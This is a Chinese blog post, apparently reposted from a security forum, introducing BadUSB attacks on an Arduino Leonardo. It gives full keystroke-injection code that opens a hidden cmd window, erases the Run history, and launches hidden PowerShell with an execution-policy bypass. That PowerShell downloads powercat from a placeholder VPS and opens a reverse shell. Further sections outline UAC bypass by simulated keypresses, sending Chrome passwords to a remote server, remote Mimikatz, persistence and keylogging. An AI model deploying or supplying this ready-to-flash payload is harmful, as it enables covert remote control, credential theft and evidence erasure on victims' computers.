Badusb初识

2019-09-30 约 151 字 预计阅读 1 分钟

声明:本文 【Badusb初识】 由作者 coler将心比心 于 2019-09-30 09:18:58 首发 先知社区 曾经 浏览数 775 次

感谢 coler将心比心 的辛苦付出!

Badusb初识

0x00 前言

​ 从暑期某集训中,偶然接触到赵师傅介绍的一种社工手段,badusb,不同于以前的那种U盘里带病毒,严格来说badusb不算是U盘,它也不提供存储功能。但是正因为它将恶意代码置于硬件中,使得杀软以及U盘格式化等防范措施都无效。

​ 赵师傅的badusb,自带了wifi模块,对于物理隔离的内网也能在插入badusb后建立网络与外界连通,这也提供了一种有效的打击隔离内网的社工方法。

​ 回去以后好奇买了一个玩玩,没有wifi模块,需要主机自带网络才能执行反弹shell等恶意操作。

​ 之前接触到的一个项目Chrome-Password-Dumper,其中利用了powershell脚本中的IEX (New-Object System.Net.Webclient).DownloadString(),实现远程获取powershell脚本并执行,真觉得它的功能强大(完美地贴合渗透..),正好可以利用于badusb中远程执行恶意脚本。

0x01 badusb介绍

​ BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。HID设备通常指的就是键盘鼠标等与人交互的设备,用户插入BadUSB,就会自动执行预置在固件中的恶意代码。

​ Bad-Usb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

0x02 获取途径

0x03 安装Arduino IDE

0x04 写入代码

反弹shell示例代码

#include <Keyboard.h>
void setup() {
    Keyboard.begin();//开始键盘通讯
    delay(3000);//延时
    Keyboard.press(KEY_LEFT_GUI);//win键
    delay(500);
    Keyboard.press('r');//r键
    delay(500);
    Keyboard.release(KEY_LEFT_GUI);
    Keyboard.release('r');
    Keyboard.press(KEY_CAPS_LOCK); //大小写绕过可能存在的中文输入法
    Keyboard.release(KEY_CAPS_LOCK);
    delay(500);
    Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //让cmd窗口变成一个很小的窗口
    //Keyboard.println("cmd.exe ");
    delay(500);
    Keyboard.press(KEY_CAPS_LOCK);
    Keyboard.release(KEY_CAPS_LOCK);
    delay(300);
    Keyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //清除运行记录
    delay(500);
    Keyboard.println("POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://xx.xxx.xx.xx/powercat.ps1'); POWERCAT -c xx.xxx.xx.xx -p 43960 -e cmd");
    delay(500);
    //Keyboard.println("exit");
    //Keyboard.press(KEY_CAPS_LOCK);
    //Keyboard.release(KEY_CAPS_LOCK);
    Keyboard.end();//结束键盘通讯
}

void loop()//循环
{
}

工具 →获取开发板信息

在工具下选好开发板(上图的ArduinoLeonardo)和端口,编程器选择USBasp

然后 编译 上传 即可。再次插入Badusb即可实现按键模拟过程。

0x05 拓展

  • 反弹shell
    • 利用powershell,将恶意脚本挂载置vps,badusb写入反弹shell代码,其中可以利用 -WindowStyle hidden来隐藏脚本至后台运行,以及 -ExecutionPolicy Bypass来绕过脚本执行策略

POWERSHELL -WindowStyle hidden -ExecutionPolicy Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://your_vps_ip/xxx/powercat.ps1'); POWERCAT -c your_vps_ip -p 9999 -e cmd

PS:遇到UAC(用户访问控制)这种,键盘模拟也可以绕过(说是绕过,其实就是操作键盘按键来选择赋权),比如CMD的管理员模式,可以win+r打开运行后,输入cmd,再按住Shift+Ctrl+回车即可以管理员启动cmd,同时控制好延时时间,对弹出来的UAC,按住Alt即可出现Y/N对“是/否”的选择。或者直接操作左键+回车都可以选择到“是”来打开管理员cmd

  • 结合Chrome-Password-Dumper,窃取chorme保存用户数据并传给远程服务器
    • 简单实现:chorme.ps 挂载vps,服务器挂python脚本监听端口
    • 也可以结合采用FTP,流量加密等手段完善攻击过程实现
  • Powershell-Mimikatz

    同上利用方式,badusb中模拟按键打开powershell远程下载Mimikatz脚本执行;适当修改其脚本添加转发功能即可实现远程dump-password。

  • 其他

    永久后门、当前用户修改密码、键盘记录、强制关机、添加隐藏用户、盗取wifi密码等等。由于powershell能够做的事太多了,所以基本上能想象的攻击操作都能够通过这种方式实现。

0x06 后记

​ Powershell脚本的强大在于它能够很好地兼容Windows, 能很好地用于渗透,不乏像【nishang】、【empire】这样的powershell框架,所以学好它,会利用好它很有必要。本篇只是提供Badusb这一种攻击面的介绍,顺带拓展出powershell脚本用于渗透攻击的方便性。

关键词:[‘安全技术’, ‘技术讨论’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now